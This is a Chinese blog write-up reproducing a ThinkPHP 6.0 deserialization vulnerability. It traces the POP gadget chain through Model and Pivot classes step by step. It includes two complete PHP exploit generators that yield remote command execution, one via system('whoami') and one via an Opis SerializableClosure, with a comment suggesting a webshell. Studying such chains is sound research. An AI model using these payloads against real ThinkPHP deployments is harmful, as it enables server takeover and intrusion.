tp6 反序列化漏洞复现

环境

tp6.0 apache php7.3

漏洞分析

反序列化漏洞需要存在 unserialize() 作为触发条件,修改入口文件

app/controller/Index.php

访问localhost/tp6.0/public/index.php/index/jiang出现phpinfo;

全局搜索 __destruct

可利用的在/vendor/topthink/think-orm/src/Model.php

跟进$this->save()

去看一下 setAttrs 方法

    public function setAttrs(array $data): void
{
// 进行数据处理
foreach ($data as $key => $value) {
$this->setAttr($key, $value, $data);
}
}
public function setAttr(string $name, $value, array $data = []): void
{
if (……) {
……
} else {
// 检测修改器
$method = 'set' . Str::studly($name) . 'Attr';
if (method_exists($this, $method)) {
$array = $this->data;
//注意这里可以调用动态函数,执行命令,但是上面对 method 进行字符串拼接
$value = $this->$method($value, array_merge($this->data, $data));
}

这里是不通的,继续往下审计,

跟进 $this->updateDate()

检查数据之后获取有更新的数据,这两个函数可以用来绕过下面的的 if 语句

后面构造pop的时候再细说。

跟进检查允许字段$this->checkAllowFields()

跟进 $this->db

注意这个字符串拼接符号$this->name . $this->suffix ,__toString的触发方式,除了字符串拼接的方式,还可以利用PHP自带函数参数的强制转换,上一篇的复现是用到php 自带函数的强制类型转换。

全局搜索 __toString,芜湖,来到了熟悉的conversion类里

跟进__toArray

前面的遍历先不看,跟进 getAttr()

先看返回值 的 $this->getValue

这里的

 $closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);

注意看这里,我们是可以控制$this->withAttr的,那么就等同于控制了$closure

可以作为动态函数,执行命令。根据这个点,我们来构造pop。

从__destruct开始

一开始 我们需要 控制 $this->lazySave变量为真,然后进入的 save()方法,需要执行$this->updateDate不能被 提前return,去看 is_Empty() , trigger()方法,

    public function isEmpty(): bool
{
return empty($this->data);
//FALSE if var exists and has a non-empty, non-zero value. Otherwise returns TRUE.
//$this->data 可控,设置非空的数组就好。
}
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
//!$this->withEvent 可控
return true;
}

且还需要 $this->exists 为真 ,这个参数也是可控的。

进入 $this->updateData 方法后,我们需要程序执行到 $this->checkAllowFields() 在此之前同样不能被return

跟进 getChangedData()

我们希望 data 不改变,所以就令 $this->force 为真。

$this->lazySave == true
$this->data不为空
$this->withEvent == false
$this->exists == true
$this->force == true

这里解释一下为什么把他们写在一起呢?

因为

model 类是复用了 trait 类 的,可以访问其属性,和方法。Model 类 是抽象类,不能被实例化,所以我们还需要找到其子类。

Pivot 类就是我们需要找的类。

到这里我们成功执行到了 $this->checkAllowFields(),还得进入 $this->db()

$this->field 为空,$this->schema 也为空。初始就是空数组,所以我们不做处理。

现在进入到 $this->db() 里。

$this->name$this->suffix设置为含有__toString的类对象就可以触发此魔术方法。

但是这里有意思的是,我们需要触发 __toString 的类 是 conversion 类 而这个类是 trait类,

而当前的model类是 复用了 conversion类的,所以我们相当于重新调用一遍 Pivot 类。也就是重新调用一下自己,触发自己的的__toString方法。这个操作在buuoj上的一道题目中遇到过。

再接着就是 toJson toArray ,前面两个foreach 不做处理,再下来这个foreach会进入最后一个if分支,调用getAttr方法。这个foreach 是遍历 $this->data ,然后将 $data$key传入

getAttr
$data = array_merge($this->data, $this->relation); foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

进入getAttr 方法,这里的$name 是 $key

跟进getData

跟进getRealFieldName()

$this->strict `默认值为True 所以 `$fieldName = $key

然后 返回的$value值就是 $this->data[$key]

最后return $this->getValue($key, $this->data[$key], $relation)

进入 getValue()

同理,这里的$fieldName 就是 $key 然后 我们设置一下$this->withAttr[$fieldName]的值,进入if(``isset($this->withAttr[$fieldName])) 分支。进行命令执行。

pop链

<?php
namespace think\model\concern; trait Attribute{
private $data=['jiang'=>'whoami'];
private $withAttr=['jiang'=>'system'];
}
trait ModelEvent{
protected $withEvent;
} namespace think; abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
}
} namespace think\model; use think\Model; class Pivot extends Model{} echo urlencode(serialize(new Pivot(new Pivot())));
?>

成功执行

$value  = $closure($value, $this->data);

这个动态函数的参数有两个 第一个是 $data 的 $value 第二个就是 $data 数组。

phpinfo(-1),只可以传入一个参数,导致执行错误。由于参数的限制,所以我们尝试另一种方法。

也就是树哥wp里写的方法,是利用tp自带的SerializableClosure调用

\Opis\Closure\SerializableClosure
$func = function(){phpinfo();};
$closure = new \Opis\Closure\SerializableClosure($func);
$closure($value, $this->data);// 参数不用管,无影响。

修改上面的pop

<?php
namespace think\model\concern; trait Attribute{
private $data;
private $withAttr;
}
trait ModelEvent{
protected $withEvent;
} namespace think; abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$func = function(){phpinfo();};//可写马,测试用的phpinfo;
$b=\Opis\Closure\serialize($func);
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
$this->data=['jiang'=>'']; $c=unserialize($b);
$this->withAttr=['jiang'=>$c];
}
} namespace think\model; use think\Model; class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot()))); ?>

这个方法搞了一下午,算是整明白了,虽然 tp6 有自带的SerializableClosure

但是我需要构造pop,所以就要自行下载 \Opis\Closure\

链接: https://github.com/opis/closure

使用方法可参照上述exp。

如有问题还请指出,欢迎分享骚姿势。

参照

https://mp.weixin.qq.com/s/G6XNP-S-5ykeKLvtfJVcUw

https://www.gaojiufeng.cn/?id=386

tp6.0.x 反序列化漏洞的更多相关文章

  1. xxl-job <=2.0.2 反序列化漏洞

    xxl-job <=2.0.2 反序列化漏洞 搭建 https://github.com/xuxueli/xxl-job/releases/tag/2.0.2 下载源码,导入idea,mysql ...

  2. ThinkPHP v6.0.x 反序列化漏洞利用

    前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...

  3. 【原创】Spring Data Redis <=2.0.3反序列化漏洞

    Spring Data Redis隶属于Spring Data家族, 提供简单易用的方式来访问Redis缓存. Spring Data Redis在往Redis里面写数据的时候,默认会先对数据进行序列 ...

  4. WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

    10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...

  5. [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞

    [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞 刚开始是403,扫描以下目录,扫描到三个目录. [18:06:19] 200 - 1KB - /REA ...

  6. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  7. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  8. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  9. 小白审计JACKSON反序列化漏洞

    1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...

随机推荐

  1. k8s-命令创建service

    查看命令帮助 [root@master kubernetes]# kubectl create service -h Create a service using specified subcomma ...

  2. wifi - 无线相关命令

    1.Linux环境下的无线相关操作命令 interface 指代当前网卡 一般是 wifi0 ,  eth0 ,  ath1等 ifconfig - 常用查看网络设定及控制网卡(Windows下是ip ...

  3. 单元测试之道Java版——读书笔记

    单元测试知道Java版读书笔记 首先我们必须要知道我们所写的代码,它的功能是什么,如果我们不了解代码的行为,那么也就无从测试. 我们测试的目的,是为了我们整个程序架构的稳定,代码其实就是欧文要实现功能 ...

  4. 数组列表(ArrayList)

    2020-10-20        longzqa@163.com        stronglzq [摘要]针对数组容量固定无法扩展的问题,引入数组列表(ArrayList).主要对数组列表的声明及 ...

  5. pip安装与使用

    介绍 pip是python包管理工具,提供了对python包的查找,下载,安装,卸载功能. 安装 检查是否安装 pip --version 安装 curl https://bootstrap.pypa ...

  6. spring-boot-route(二十三)开发微信公众号

    在讲微信公众号开发之前,先来大概了解一下微信公众号.微信公众号大体上可以分为服务号和订阅号,订阅号和服务号的区别如下: 服务号可以申请微信支付功能. 服务号只能由企业申请,订阅号可以有企业或个人申请. ...

  7. java面试题目之JVM(YW制作仅供参考)

    1.JVM工作原理 2.JVM组成部分及其作用. java虚拟机分为两个子系统和两个组件. 两个子系统分别是类加载器和执行引擎,类加载器负责加载字节码(.class)文件到JVM的内存中,执行引擎负责 ...

  8. ArrayBlockingQuque摘要

    ArrayBlockingQuque 优势 线程同步,线程安全 对应空或满时,take\put操作将阻塞 内部是一个数组,每个元素不会产生额外的处理对象,如Node 基于什么 ReentrantLoc ...

  9. A. Cubes Sorting 解析(思維)

    Codeforce 1420 A. Cubes Sorting 解析(思維) 今天我們來看看CF1420 題目連結 題目 給一個數列\(a\),求能不能在不超過\(\frac{n(n-1)}{2}-1 ...

  10. Kubernetes 使用 Ingress 实现灰度发布功能

    使用 Ingress 实现灰度发布 一.Canary 规则说明 Ingress-Nginx 是一个K8S ingress工具,支持配置 Ingress Annotations 来实现不同场景下的灰度发 ...